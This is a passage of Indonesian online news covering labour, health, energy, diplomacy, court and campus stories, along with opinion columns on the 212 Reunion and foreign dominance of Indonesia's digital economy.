Anak Berpengalaman Traumatis. Riset itu menjelaskan manfaat permainan untuk mengatasi risiko risiko psikologis yang dialami oleh individu yang mengalami peristiwa kebencanaan. Menurutnya, penanganan terhadap individu yang mengalami gangguan kecemasan pasca trauma dapat menggunakan beragam model termasuk pendidikan, exposure, eksplorasi perasaan dan keyakinan dan pelatihan keterampilan pemecahan masalah. "Asumsi yang mendasari penggunaan konseling melalui permainan ialah bermain merupakan cara alamiah anak untuk mengekpresikan kebutuhan, serta melalui bermain pula anak secara simbolis dapat mencoba mengatasi ketakutan dan trauma yang mereka alami," kata Nandang. Kemudian riset yang berjudul Rekonstruksi Pendidikan Jasmani di Indonesia: Sebuah Upaya Mengokohkan Kontribusi Pendidikan Jasmani dalam Membangun Karakter Bangsa disampaikan oleh Prof Dr Tatang Muhtar. Dalam riset tersebut, menurutnya penekanan pendidikan karakter dalam dunia olahraga sangat penting untuk diperhatikan para akademisi dan praktisi. Pasalnya, ia menilai kini banyak tindakan tidak sportif dalam kegiatan olahraga. "Hal ini merupakan sinyalemen bahwa proses pendidikan jasmani dianggap masih gagal membangun karakter bangsa," kata Tatang. Lalu Prof Ayi Suherman juga menyampaikan risetnya yang berjudul Transformasi Kurikulum Pendidikan Jasmani Olahraga dan Kesehatan di Sekolah Dasar (Sebuah Kajian Reflektif Implementasi Kurikulum 2013). Menurutnya transformasi dalam kurikulum ini, dimaksudkan agar perubahan dan pengembangan kurikulum membawa makna pada perubahan, perbaikan dan upaya pengembangan. Pasalnya ia menilai kurikulum yang kini diterapkan cukup memiliki sejumlah dampak kurang baik. Sehingga para implementator atau guru tidak fokus kepada inovasi baru, melainkan hanya kepada tugas administratifnya. "Oleh karena itu diperlukan keberanian dalam mentrasformasikan kurikulum," kata Ayi. Menurutnya, hal tersebut harus dikelola dengan baik sesuai tahapan pembelajaran yang meaningful mulai perencanaan, pelaksanaan sampai evaluasi pembelajarannya. "Sehingga sasaran pembelajaran terjadinya keseimbangan antar domain kognitif, afektif dan psikomotor sebagai sasaran belajar dapat dicapai dengan efektif," kata dia. (mth)

Kemnaker Ingatkan Ada Sanksi Jika Tak Terapkan Struktur dan Skala Upah

Jakarta, FNN - Direktur Jenderal Pembinaan Hubungan Industrial dan Jaminan Sosial (PHI dan Jamsos) Kementerian Ketenagakerjaan (Kemnaker), Indah Anggoro Putri mengingatkan adanya sanksi bagi perusahaan yang tidak menyusun dan menetapkan struktur dan skala upah untuk pekerja dengan masa kerja di atas satu tahun. "Berdasarkan Pasal 79 PP No. 36 Tahun 2021, bagi perusahaan yang tidak menyusun, tidak menerapkan dan tidak mensosialisasikan akan dikenakan sanksi administratif," kata Indah Anggoro Putri ketika menjawab pertanyaan ANTARA melalui aplikasi pesan yang diterima di Jakarta, Rabu. Dirjen PHI dan Jamsos Kemnaker menjelaskan bahwa sanksi administratif itu dapat berupa teguran tertulis, pembatasan kegiatan usaha, penghentian sementara sebagian atau seluruh alat produksi dan pembekuan kegiatan usaha. Struktur dan skala upah berlaku untuk pekerja dengan masa kerja di atas satu tahun. Sementara upah minimum diterapkan bagi mereka yang memiliki masa kerja kurang dari setahun. Sebelumnya, sebanyak 33 provinsi telah mengumumkan upah minimum provinsi (UMP) 2022 dengan rata-rata kenaikan sekitar 1,09 persen. UMP 2022 ditetapkan berdasarkan kondisi ekonomi dan ketenagakerjaan di wilayah masing-masing. Untuk memastikan berjalannya struktur dan skala upah di masing-masing perusahaan, kata Putri, Kemnaker akan terus melakukan sosialisasi. Usaha sosialisasi sebenarnya telah dilakukan sejak pengesahan aturan mengenai hal itu pada 2015. Dia mengingatkan bahwa penerapan struktur dan skala upah adalah tanggung jawab bersama seluruh pemangku kepentingan di sektor ketenagakerjaan. "Ke depan, dengan ditegakkannya kewajiban penyusunan dan penerapan struktur dan skala upah di dalam UU Cipta Kerja, kami akan melaksanakan kampanye penerapan struktur dan skala upah serta mendorong perusahaan agar dapat memasukkan hal-hal krusial penerapan struktur dan skala upah di dalam PKB perusahaan," kata Putri. (mth)

Menteri PUPR Harap Forum Engineering WIKA Komunikasikan Penerapan EBT

Jakarta, FNN - Menteri Pekerjaan Umum dan Perumahan Rakyat (PUPR) Basuki Hadimuljono berharap Forum Engineering WIKA dapat menjadi media untuk mengomunikasikan penerapan teknologi keteknikan terkait dengan energi baru terbarukan atau EBT. "Forum Engineering WIKA ini merupakan salah satu forum terbesar tahun ini. Besar harapan kami bahwa forum ini dapat menjadi media untuk mengomunikasikan penerapan teknologi keteknikan terkini dalam hubungannya dengan energi baru terbarukan dan konversi energi," ujar Menteri Basuki dalam keterangan resmi yang diterima di Jakarta, Rabu. Menteri PUPR juga mengajak semua pihak untuk konsisten dalam pemanfaatan EBT, mengingat hal ini menjadi kunci dari keberhasilan menuju pada transisi energi dan ekonomi hijau ke depan. "Saya ingin juga mengajak kita semua, semua kebijakan yang kita canangkan akan dapat berjalan dengan baik apabila kita secara konsisten dapat melaksanakan tidak saja kebijakan produksi dari energi baru terbarukan tersebut, namun juga pemanfaatannya," katanya. Pemerintah Indonesia terus berkomitmen untuk mengurangi emisi gas rumah kaca/emisi karbon sebagai upaya penanggulangan perubahan iklim. Di sektor konstruksi, Kementerian PUPR terus mendorong industri konstruksi semakin luas memanfaatkan teknologi digital dan teknologi yang berhubungan dengan pemanfaatan energi baru terbarukan dan konversi energi (EBTKE) di Indonesia. Komitmen pengurangan emisi/pemanfaaan energi terbarukan antara lain melalui pembangunan bendungan multifungsi yang salah satunya digunakan menjadi Pembangkit Listrik Tenaga Air (PLTA). Kontribusi pengurangan emisi juga ditunjukkan melalui berbagai pembangunan infrastruktur yang mengadopsi prinsip pembangunan gedung hijau (green building), seperti pada pembangunan pasar tradisional, stadion, dan rumah susun (rusun), serta pemanfaatan energi terbarukan dalam pengoperasian dan pemeliharaan gedung dan pengelolaan sampah. "Akhir kata, saya ingin mengajak marilah kita berkolaborasi dalam penyiapan talenta engineer dan pengembangan teknologi energi baru terbarukan dan konversi energi sektor konstruksi," kata Basuki Hadimuljono. Forum Engineering (Foreng) diselenggarakan secara rutin oleh WIKA setiap tahun, untuk menyampaikan, mengelaborasikan, dan mengkaji implementasi teknologi terbaru dalam dunia konstruksi pada proyek infrastruktur dalam kaitannya dengan knowledge management ilmu keteknikan. Pada penyelenggaraan Foreng yang berlangsung 23-25 November 2021, WIKA mengangkat Renewable Energy for Better Quality of Life, sebagai tema besarnya. Direktur Utama PT Wijaya Karya atau WIKA Agung Budi Waskito mengatakan salah satu kunci pengungkit bisa berkiprahnya WIKA dalam kancah global adalah bagaimana WIKA mau dan mampu berkecimpung lebih jauh dalam pengembangan penerapan teknologi energi baru terbarukan dan konversi energi, termasuk melahirkan produk-produk inovatif berbasis energi baru terbarukan. “WIKA menyadari bahwa teknologi saat ini bukan sekedar pelengkap, ia adalah katalis sebuah proses untuk menghasilkan goals yang didesain sedemikian rupa,” ujar Agung. Foreng yang juga merupakan salah satu lokakarya keteknikan terbesar tanah air, dihadiri oleh lebih kurang 6.000 peserta. Antara lain dari 135 perguruan tinggi, mahasiswa, para mitra bisnis strategis (owner, konsultan, kontraktor), para engineer, para pegiat, pemerhati, dan komunitas energi baru terbarukan dari dalam dan luar negeri. (mth)

Prediksi Reuni 212, Desember 2021

Oleh Sugeng Waras Jika Reuni Persaudaraan 212 digelar pada 1 -- 2 Desember 2021, niscaya akan membuahkan situasi dan kondisi Indonesia ke depan lebih positif dan kondusif! Asal semua pihak melihat dengan pandangan dan rasa positif, kondusif. Guna memotivasi dan mengevaluasi peristiwa peristiwa besar / nasional / internasional, seperti Hari Pangan Sedunia, Hari Kemerdekaan RI, Hari Pahlawan, Tahun baru Islam / agama lain, maka hari Persaudaraan 212 bisa disandingkannya karena pernah berprestasi bisa mengumpulkan peserta hingga belasan juta orang dengan tertib, lancar, aman dan sukses yang belum pernah terjadi di negara manapun. Sudah pasti beda profesi dan kapasitasnya, namun sama tujuannya untuk mengambil hikmah masing masing guna dikenang, diambil manfaat dan syafa'atnya sesuai maksud, tujuan dan sasaran masing masing. Saya kerucutkan pada Persaudaraan Alumni 212 (PA 212), yang barangkali nanti tidak hanya para alumni saja yang akan hadir, karena tidak menutup kemungkinan akan dihadiri oleh orang orang baru yang belum pernah hadir pada acara ini sebelumnya. Latar belakang, maksud dan tujuannya sudah jelas, intinya ingin memelihara dan meningkatkan persaudaraan yang erat, akrab, kompak bersatu sesama umat Islam di Indonesia dengan umat islam lainya di seluruh dunia, terutama yang berada di Indonesia, tanpa mengurangi rasa hormat dan penghargaan terhadap agama lainnya. Kegiatan ini tidak ada unsur politik, dan lebih menonjol unsur kemanusiaan / keagamaan sebagai manusia, hamba Allah, yang patuh dan taat menjalankan perintah agama Islam yang bisa hidup berdampingan selaras, seimbang, harmonis dan damai bersama umat / manusia lainya di dunia. Kegiatan ini merupakan Gerakan Moral untuk menjalin persaudaraan antar individu dan intern seagama / umat Islam, sebagai partisipasi dan sumbangsih terhadap persatuan nasional, Indonesia. Persatuan elemen suku, agama, ras dan antar golongan pada akhirnya akan mengkristal menjadi satu yaitu persatuan dan kesatuan nasional Indonesia yang mencerminkan implementasi sila ketiga dari Pancasila. Oleh karenanya semua pihak hendaknya memahami dan mendukung kegiatan ini dengan berpikir positif. Umat Islam di Indonesia harus bersyukur kepada Allah swt, atas berkah dan rahmatnya, masih diberi karunia hidup dan berkumpul bersama saudara saudara umat Islam lainya, serta berterimakasih kepada berbagai pihak terutama aparat keamanan dan penguasa daerah yang telah memberi kesempatan dan berpartisipasi mengiringi, menjaga, melindungi dan mengamankan acara ini. Sebaliknya, para pihak terutama aparat keamanan juga harus ikut bangga dan bersyukur karena umat Islam yang faktanya sebagai potensi terbesar bangsa Indonesia bisa tampil dan mengimplementasikan butir ketiga dari Pancasila, dengan penuh gairah, semarak, bahagia dan damai. Terbayang, jika masing-masing peserta saling senyum, saling sapa, saling menghormati dan saling menghargai satu sama lain dengan sikap ramah, penuh keakraban, persaudaraan dan kebersamaan yang tulus dan murni, dengan pakaian putih putih, beraroma wangi wangian, sejuk abadi dan damai, penuh lantunan doa, syukur dan harapan untuk kemuliaan, kesejahteraan dan kebahagiaan kini dan masa depan Indonesia seutuhnya. Tak bisa dibayangkan pula pada saat saat yang bersamaan, rakyat kecil sebagai pihak penggembira dan penyemangat acara ini, ikut berbingar bingar dan berseri seri gembira dengan ludesnya makanan dan minuman yang dijajakan dari hasil jerih payah masakanya sendiri. Apa lagi Jakarta kembali aman dan bersih seperti semula atas kecekatan tim pembersih yang sudah disiapkan panitia. Namun bisa dimaklumi, semua pihak paham dan sadar akan situasi dan kondisi saat ini, di negeri tercinta ini, yang masih trauma dan phobia, dihantui kecurigaan, kecemburuan, kekhawatiran, prasangka buruk dan pikiran negatif lainya, yang bisa membuat cemas harap, menghambat bahkan menggagalkan rencana kegiatan ini. Hendaknya semuanya bisa mengenyampingkan, mengerem dan membuang jauh-jauh prasangka buruk dan pikiran negatif ini. Sebagai aparat pemerintah, juga aparat keamanan sebaiknya berpikir positif atas kepedulian sebagian masyarakatnya mau dan berpartisipasi aktif dalam mengimplementasikan modal dasar dan pilar strategis persatuan bangsa ini untuk menunjukkan kepada dunia bahwa umat Islam di Indonesia, yang merupakan potensi terbesar dari agama bangsanya, yang juga terbesar jumlahnya di dunia, mampu menunjukkan kapabilitasnya, yang bisa ikut andil dalam mencintai, menjaga, membela, mempertahankan dan memelihara kedaulatan NKRI, sekaligus sebagai penyemangat kebangsaan dalam ikut peradaban dan kemajuan dengan bangsa dan negara lain di dunia. Sebaliknya para peserta terutama para anggota kepanitiaan Reuni PA 212 juga paham dan menyadari peran, fungi, tugas dan tanggung jawab para petugas keamanan yang tidak terlepas dari upaya upaya pencegahan, penindakan dan pemulihan terhadap segala kemungkinan yang terjadi dan tidak terduga, karena tidak ada pohon besar yang tidak berulat dan bersemut, apa lagi pelibatan manusia dalam jumlah besar dan banyak yang tidak menutup kemungkinanan dimanfaatkan pihak pihak tertentu untuk perbuatan dan tindakan negatif yang bisa mencelakakan dan merugikan kita semua. Dengan kata lain marilah kita hargai dan hormati semua pihak yang telah merencanakan dan menyiapkan skenario dan rencana tindakan masing masing, Insha Allah dengan luruskan niat, satukan dan bulatkan tekad, serta senantiasa memohon kepada Sang Pencipta alam semesta ini, semuanya akan berjalan terib, lancar, aman, indah dan sukses. Selamat bersilaturahmi saudara saudaraku umat Islam di Indonesia, selamat bertugas kepada pihak petugas keamanan, ketertiban dan keselamatan, terutama TNI POLRI yang terlibat dalam kegiatan ini, semoga Allah SWT, TYMK senantiasa mengiringi, membimbing dan melindungi kita semua. Aamin..aamiin...aamiin..yarobbal aalaminn...🤲🤲🤲 *) Purnawirawan TNI AD.

Kemenkes Alokasikan Rp 46,464 Triliun Untuk PBI Tahun Depan

Jakarta, FNN - Menteri Kesehatan RI Budi Gunadi Sadikin mengatakan pemerintah mengalokasikan anggaran Rp 46,464 triliun untuk masyarakat Penerima Bantuan Iuran (PBI) Jaminan Kesehatan Nasional (JKN) pada 2022. "Kami sudah menganggarkan PBI JKN 2022 untuk 96,8 juta jiwa dengan rata-rata iuran Rp 40 ribu per bulan sehingga anggaran yang ada di Kemenkes untuk PBI JKN Rp 46,464 triliun," kata Budi Gunadi Sadikin dalam Rapat Dengar Pendapat (RDP) Data Terpadu Kesejahteraan Sosial yang diikuti dari YouTube DPR RI di Jakarta, Rabu, 24 November 2021, siang. Budi mengatakan alokasi tersebut dihitung melalui pertemuan Kementerian Perencanaan Pembangunan Nasional/Badan Perencanaan Pembangunan Nasional, Kementerian Keuangan, dan Kementerian Kesehatan RI. Menurut Budi kepastian dari alokasi dana tersebut akan ditentukan berdasarkan masukan dari Kementerian Sosial sebelum diverifikasi oleh BPJS Kesehatan. "Insya Allah di November bisa selesai sehingga bisa dibayarkan sesuai data yang diajukan Kemensos," katanya, sebagaimana dikutip dari Antara. Budi mengatakan angka tersebut mengalami penurunan jumlah peserta PBI berdasarkan verifikasi berkala yang dilakukan Kementerian Sosial. "Dengan adanya surat dari Kemensos pada 15 September 2021, sehingga di bulan Oktober terjadi penurunan jumlah peserta dan otomatis juga terjadi penurunan dari jumlah subsidi PBI yang dibayarkan Kemenkes ke BPJS Kesehatan," katanya. Budi menambahkan dari total 268 juta jiwa masyarakat Indonesia, 214 juta jiwa di antaranya telah terdata sebagai peserta sistem Jaminan Kesehatan Nasional (JKN). Budi mengatakan sebanyak 120 juta jiwa peserta JKN di antaranya disubsidi oleh pemerintah pusat dan daerah. Sedangkan sisanya sebanyak 94 juta jiwa peserta terdiri atas pekerja penerima upah 58,9 juta jiwa, pekerja bukan penerima upah 31 juta jiwa dan bukan pekerja 4,37 juta jiwa. "Data ini memberi gambaran masih ada ruang sekitar 54 juta jiwa lagi untuk meningkatkan cakupan JKN," katanya. Untuk itu Budi meminta peran serta individu, BUMN maupun swasta ikut membantu pendanaan JKN agar cakupan kepesertaan dapat dirasakan masyarakat semakin luas. (MD).

Inilah Landscape Ekonomi Digital Indonesia

Oleh: Agus Maksum UNTUK memperkaya literasi digital dan memahami peta persaingan dalam dunia Ekonomi Digital di sekitar kita, kami kirimkan kajian singkat berikut. Situasi paling mutahir adalah investasi miliaran US$ di Indonesia sehingga melahirkan Decacorn dan Unicorn yaitu: 1. Tokopedia; 2. Gojek; 3. Shoope; 4. Bank Jago; 5. OVO; 6. J&T; 7. Bukalapak dan lain-lain. Selain itu, terjadi pengelompokan bisnis dalam dua kelompok besar: 1) Gojek Tokopedia (GoTo) dan Lazada (yang di-invest oleh Alibaba) 2) Shopee, JD, Traveloka (yang di-invest oleh Tencent) Strategi jangka panjang Alibaba adalah Strategi menguasai infrastruktur di Asia Tenggara, utamanya Indonesia melalui kendaraan ecommerce lalu berkembang ke Bank Digital, jasa pengiriman, dan pergudangan. Alibaba sudah membangun infrastruktur FBL (Fulfilled by Lazada – 60.000 SQM gudang di Cimanggis dan terus membangun di kota-kota lain dan memiliki infrastruktur delivery sendiri dengan LEX – Lazada Express. Pesaing kuat Alibaba adalah Tencent (induk semang dari JD.co). Tencent masuk ke Indonesia melalui JD.id, juga menanam saham di pesaingnya yakni Gojek. Traveloka tak luput dari incaran. Tencent pun ingin menguasai infrastuktur payment Go-PAY yang dipakai Go-JEK, yang saat ini sudah menjadi e-wallet terbesar di Indonesia, bahkan telah memiliki Bank bernama Bank Jago. Bank Jago bahkan sudah mampu mengalahkan e-wallet yang dibuat bank dan telko. JD.id sudah mulai membangun gudang Distribution Center di Jakarta maupun di kota-kota besar di Indonesia beserta Hub pengirimannya sendiri. Tencent semakin kuat dengan investasi besar-besaran di Shopee.co.id. Kedua pemain raksasa ini sudah mengubah peta ekonomi digital di Indonesia. Setahun terakhir ini GMV-( total barang dagangan) di pasar Indonesia meningkat pesat dengan membawa produk-produk murah China. Petinggi Shopee menyatakan, saat ini juga ke depan pasar Indonesia hanya akan menjadi medan pertempuran dua raksasa ecommerce dari China: yaitu Group Alibaba Vs Group Tencent dengan berbagai varian startup. Bagaimana Nasib Pemain Lokal? Hingga saat ini pemain Ekonomi Digital lokal belum bisa mengimbangi pertempuran dengan para pemain raksasa China tersebut. Pemain lokal kalah dalam pengalaman, finansial, teknologi, bigdata, dan jaringan. Ada dua kemungkinan bagi pemain lokal: 1) Diakuisisi atau 2) Ditutup karena kehabisan pendanaan di tengah jalan. Persaingan Ekonomi Digital ini juga berdampak pada bidang-bidang pendukung lanskap-nya. Pemain di bidang logistics dan payment yang berkembang menjadi Bank Digital, akhirnya akan menguasai berbagai lini bisnis yang menguasai hajat hidup kita. Yang mengkhawatirkan, supplier produk lokal akan tergantikan oleh produk-produk asing, jika kita tak mampu mengambil peluang emas berkembangnya Ekonomi Digital ini. Rumor yang beredar saat ini.... Para Petinggi Raksasa Digital berusaha melobi pemerintah untuk dapat melonggarkan aturan impor finish goods untuk dijual via e-commerce Indonesia, juga melakukan lobi-lobi perubahan UU agar mereka lebih leluasa bergerak berselancar di Wilayah Digital Indonesia dan membagi-bagikan sebagian kecil saham dan jabatan komisaris pada para pejabat. Apa yang harus kita lakukan? Kita tidak memiliki Venture Capital untuk membiyayai Platform digital melawan pemain-pemain raksasa. Telah banyak pemodal lokal kapok berinvestasi pada startup digital umat karena akan habis dan hangus dimakan para raksasa. Untuk mengimbangi mereka kita harus Membuat Model Bisnis yang Berbeda dengan para raksasa digital. Strategi kita adalah strategi dengan memanfaatkan modal sosial melalui konsolidasi di tingkat komunitas, yakni kita konsolidasikan kekuatan modal sosial kita di tingkat komunitas. Konsolidasikan dana/modal dengan membuat Bank Digital Syariah di tingkat Komunitas, Bank Digital dimiliki dan dikendalikan oleh masing-masing komunitas. Selain Konsolidasi dana/modal, secara bersamaan, modal yang terkumpul harus segera digunakan untuk melakukan konsolidasi pasar di tingkat komunitas, komunitas harus dibangun dengan karakter dan komitmen untuk memenuhi kebutuhan dari dan oleh anggota, di sinilah peran Kyai Ulama dan leader-leader lokal di tingkat komunitas di sangat dibutuhkan. Penyadaran dan pembentukan komitnen umat harus segera dibentuk untuk menggerakan Ekonomi Digital Umat, yakni komitmen menabung di Bank Digital milik komunitas dan Belanja dari dan oleh kita. Kalau kita tidak segera melakukan konsolidasi untuk mengimbangi para raksasa di atas, kalau kita tidak melindungi pasar Indonesia dan mendorong produsen lokal bisa punya pasar sendiri, yakni pasar lokal di komunitas, maka akan semakin habislah kita. Yuk kita bangun dan mulai konsolidasi! Asing terus menyerang dan berdatangan. Kalau kita cuma diam, matilah kita semua. Penulis Pokja Ekonomi Musyawarah Ulama dan Tokoh Umat (MUTU)

Australia Tetapkan "The Base" dan Hizbullah sebagai Organisasi Teroris

Canberra, FNN - Pemerintah Australia pada Rabu menetapkan organisasi neo-Nazi, The Base, dan partai politik Syiah Lebanon yang juga kelompok milisi, Hizbullah, sebagai organisasi teroris. Setiap orang yang menjadi anggota The Base atau Hizbullah akan dianggap melanggar hukum dan akan dijatuhi vonis hingga 25 tahun penjara. "Tidak ada ruang sedikit pun di Australia untuk ekstremisme kekerasan. Tidak ada alasan 'agama atau ideologi' yang bisa membenarkan pembunuhan orang-orang tak bersalah," kata Menteri Dalam Negeri Karen Andrews pada konferensi pers di Canberra. Hizbullah diyakini tidak beroperasi di Australia, kendati pihak berwenang telah mengatakan The Base gencar berupaya memperluas jaringannya. Andrews menolak menjelaskan secara rinci seberapa banyak anggota The Base yang bersembunyi di Australia. The Base merupakan kelompok supremasi kulit putih yang dibentuk pada 2018 di Amerika Serikat dan terdaftar sebagai organisasi teroris di Kanada dan Inggris. Sekutu AS, Australia, menyatakan status siaga tinggi usai terjadi serentetan serangan oleh pelaku tunggal (lone wolf) dalam beberapa tahun belakangan ini. (mth)

Indonesia dan Prancis Tandatangani Rencana Aksi Strategis 2022-2027

Jakarta, FNN - Pemerintah Indonesia dan Prancis menandatangani rencana aksi strategis atau Plan of Actions for Deepening Strategic Partnership untuk periode 2022-2027. Menteri Luar Negeri Retno Marsudi usai pertemuan bilateral dengan Menteri Luar Negeri Prancis Jean Y-ves Le Drian di Jakarta, Rabu, mengatakan bahwa tahun ini merupakan tahun ke-10 Indonesia dan Prancis memiliki kemitraan strategis. “Guna memberi arah yang lebih jelas bagi penguatan kemitraan lima tahun ke depan, pada hari ini baru saja kita telah menandatangani Plan of Actions for Deepening Startegic Partnership antara Indonesia dan Prancis untuk periode 2022-2027,” kata Retno. Dia menyebut beberapa prioritas dalam rencana aksi tersebut, antara lain kerja sama di sektor kesehatan, pertahanan, perubahan iklim, dan maritim. “Pada tahun depan Indonesia dan Prancis merencanakan (untuk) melakukan dialog maritim yang pertama kalinya. Ini merupakan langkah awal implementasi dari rencana aksi tersebut,” katanya. Kemudian, kerja sama kesehatan akan dilanjutkan dalam rangka memperkuat arsitektur kesiapan dunia dalam menghadapi pandemi yang akan datang, kata Retno. Kedua menlu juga membahas tentang Indonesia yang akan memegang Presidensi G20 pada 2022, sementara Prancis juga akan mengemban tugas sebagai Presidensi Dewan Uni Eropa pada paruh pertama 2022. “Karena itu, kita sepakat untuk mengintensifkan komunikasi terhadap beberapa isu, baik G20 maupun isu yang terkait dengan Uni Eropa dan saya sampaikan kiranya terjadi kemajuan signifikan dalam perundingan EU CEPA semasa Presidensi Prancis di Uni Eropa,” katanya. Pembahasan berlanjut pada isu penting tentang perdagangan yang adil, terbuka dan nondiskriminatif yang diyakini akan berkontribusi banyak bagi pemulihan ekonomi. “Perdagangan akan sangat membantu pencapaian target SDGs (tujuan pembangunan berkelanjutan) yang menyisakan waktu sembilan tahun lagi. Saya menekankan agar berbagai kebijakan ekonomi hijau ditempatkan dalam konteks pembangunan berkelanjutan,” ujar Retno. Dalam kesempatan sama, Le Drian mengatakan bahwa penandatanganan kerja sama tersebut memperkuat kemitraan di antara kedua negara yang sudah terjalin selama 10 tahun. Prancis merupakan mitra dagang Indonesia terbesar kelima di Eropa dan investor kedua terbesar dari Eropa di Indonesia. “Hari ini kita menandatangani kerja sama guna memperkuat kemitraan yang sudah terjalin selama 10 tahun. Indonesia adalah negara pertama di ASEAN yang memutuskan komitmen ini,” katanya. Le Drian mengatakan fokus kerja sama adalah memerangi terorisme di bidang pertahanan, vaksinasi di bidang kesehatan, dan Presidensi Indonesia di G20 pada 2022 mendatang. “G20 menjadi fokus Indonesia untuk melawan ketidaksetaraan global,” katanya. Di bidang kesehatan, Le Drian mengatakan bahwa Prancis telah memberikan vaksin AstraZeneca sebanyak 3,8 juta dosis kepada Indonesia. (mth)

F-Golkar MPR RI Sebut Esensi Kemerdekaan Adalah Keadilan Sosial

Jakarta, FNN - Ketua Fraksi Partai Golkar MPR RI Idris Laena mengatakan esensi kemerdekaan adalah keadilan sosial bagi seluruh rakyat Indonesia. "Sesungguhnya esensi kemerdekaan Indonesia itu adalah untuk membawa bangsa ini menjadi bangsa yang berkeadilan sosial," kata Idris Laena berdasarkan keterangan tertulis yang diterima di Jakarta, Rabu. Idris Laena mengemukakan hal itu ketika membuka dan memberikan pengantar dalam acara Training of Trainers (ToT) Empat Pilar MPR yang diselenggarakan GEMA MKGR dan Fraksi Partai Golkar (FPG) MPR RI di Bekasi, Jawa Barat, Selasa (23/11). Esensi tersebut, lanjut Idris, dibuktikan melalui pengulangan kata "keadilan" sebanyak lima kali di dalam Pembukaan Undang-Undang Dasar Negara Republik Indonesia (UUD NRI) Tahun 1945. "Pada alinea pertama, berbunyi bahwa sesungguhnya kemerdekaan itu ialah hak segala bangsa dan oleh sebab itu maka penjajahan di atas dunia harus dihapuskan karena tidak sesuai dengan perikemanusiaan dan perikeadilan," ujarnya. Alinea kedua berbunyi bahwa perjuangan pergerakan kemerdekaan Indonesia telah sampailah kepada saat yang berbahagia dengan selamat sentosa mengantarkan rakyat Indonesia ke depan pintu gerbang kemerdekaan Negara Indonesia yang merdeka, bersatu, berdaulat, adil, dan makmur. Lalu, tambah Idris, ada dua kata "keadilan" dalam alinea keempat. Di dalamnya, dituliskan bahwa untuk melaksanakan ketertiban dunia yang berdasarkan kemerdekaan, perdamaian abadi, dan keadilan sosial, maka disusunlah kemerdekaan kebangsaan Indonesia itu dalam suatu Undang-Undang Dasar Negara Indonesia. Undang-Undang Dasar Negara Indonesia itu, lanjutnya, terbentuk dalam suatu susunan Negara Republik Indonesia yang berkedaulatan rakyat dengan berdasar kepada ketuhanan Yang Maha Esa, kemanusiaan yang adil dan beradab, persatuan Indonesia, dan kerakyatan yang dipimpin oleh hikmat kebijaksanaan dalam permusyawaratan/perwakilan, serta dengan mewujudkan suatu keadilan sosial bagi seluruh rakyat Indonesia. Di samping itu, Idris Laena juga mengatakan pentingnya bagi kader Gerakan Muda Musyawarah Kekeluargaan Gotong Royong (GEMA MKGR) untuk memahami nilai-nilai kebangsaan. Nilai-nilai tersebut adalah Pancasila sebagai dasar negara, UUD NRI Tahun 1945 sebagai konstitusi negara, NKRI sebagai bentuk negara, dan Bhinneka Tunggal Ika sebagai semboyan negara. Dengan demikian, mereka dapat menyebarluaskan pemahaman tersebut kepada generasi muda Indonesia yang lain. (sws)

MK Jelaskan Tidak Pertimbangkan Keterangan Benny K Harman Sebagai Ahli

Jakarta, FNN - Majelis Mahkamah Konstitusi (MK) Republik Indonesia menjelaskan alasan keterangan dari Benny K. Harman tidak dipertimbangkan oleh majelis hakim sebagai seorang ahli dalam perkara uji materi Undang-Undang Nomor 18 Tahun 2011 tentang Komisi Yudisial. "Karena Dr. Benny K. Harman adalah anggota Komisi III DPR RI, terlebih lagi yang bersangkutan merupakan salah seorang kuasa dari pemberi keterangan DPR sehingga mahkamah tidak mempertimbangkan keterangannya sebagai ahli," kata majelis hakim Saldi Isra sidang perkara 92/PUU-XVIII/2020 yang disiarkan secara virtual di Jakarta, Rabu. Hal tersebut, lanjut dia, diperkuat dengan Surat Keputusan pimpinan DPR RI Nomor 57/PIMP/V/2020-2021. Oleh sebab itu, mahkamah tidak mempertimbangkan keterangan-keterangan yang telah disampaikan oleh Benny K. Harman pada tanggal 21 Oktober 2021. Pada sidang sebelumnya, Benny K. Harman dihadirkan sebagai saksi dari pihak terkait dalam hal ini Komisi Yudisial. Politikus Demokrat itu memberikan keterangan sebagai ahli terkait dengan uji materi yang dilayangkan oleh Dr. Burhanudin seorang dosen sekaligus mantan calon hakim ad hoc. Beberapa keterangan yang dipaparkan Benny di antaranya mengenai kewenangan KY melakukan seleksi calon hakim ad hoc di MA bukan berasal dari perluasan dari frasa "hakim agung" pada Pasal 24 B ayat (1) UUD NRI Tahun 1945. Selanjutnya, Benny berpandangan kewenangan KY juga muncul dari Pasal 25 UUD 1945 yang menyatakan diangkat dan diberhentikan melalui undang-undang. Artinya, pembentuk undang-undang yang berhak menentukan kewenangan KY sebagai bentuk open legal policy. Fungsi hakim ad hoc di MA dan Hakim Agung tidak berbeda sebagai satu majelis yang setara. Perbedaannya hanya menyangkut administrasi, masa jabatan, dan kekhususan perkara yang diperiksa dan diputus. Bahkan, kata Benny, karena fungsi hakim ad hoc dan hakim agung yang setara dalam satu majelis, kewenangan KY untuk melakukan seleksi hakim ad hoc dicantumkan dalam satu napas atau satu norma dengan kewenangan KY melakukan seleksi hakim agung dalam UU KY. (sws)

Dekan FISIP Unri Belum Dinonaktikan Terkait Kasus Pelecehan

Pekanbaru, FNN - Pihak Universitas Riau (Unri) belum dapat menonaktifkan yang SH dari jabatan Dekan Fakultas Ilmu Sosial dan Politik meski yang bersangkutan telah ditetapkan sebagai tersangka atas kasus dugaan pelecehan terhadap mahasiswinya. Juru Bicara Tim Pencari Fakta (TPF) Sujianto di Pekanbaru, Rabu mengatakan hal itu disebabkan pihaknya mengikuti tiga aturan pemerintah yang mengatur hal itu. Sujianto kepada wartawan menjelaskan aturan tersebut telah diatur dalam Peraturan Pemerintah Nomor 94 tahun 2021 tentang Disiplin Pegawai Negeri Sipil, PP nomor 11 tahun 2017 tentang Manajemen PNS dan Permenrisekdikti Nomor 81 tahun 2017 tentang statuta Unri. Terkait PP Nomor 94 pasal 31 tahun 2021, Sujianto menyebutkan di dalam peraturan tersebut terdapat tiga kategori pemberian hukuman yaitu sanksi ringan, sanksi sedang dan sanksi berat. Sanksi ringan berupa teguran lisan maupun tulisan, sanksi ringan apabila mengganggu sistem di lingkungan administrasinya, dan sanksi berat apabila pelanggaran tersebut telah mengganggu secara keseluruhan dan sifatnya krusial. “Untuk menentukan sanksi jenis apa diperlukan kajian. Kita tidak bisa serta-merta memutuskan. Oh ini sanksi berat. Untuk itu perlu melakukan investigasi," sebut Sujianto yang juga Wakil Rektor Bagian Umum dan Keuangan Universitas Riau ini. Sujianto juga menjelaskan berdasarkan Pasal 81 PP tahun 2017, pegawai negeri sipil bisa dihentikan sementara apabila ditahan, sehingga Rektor bisa mengambil keputusan terkait status SH. "Jadi kita sangat 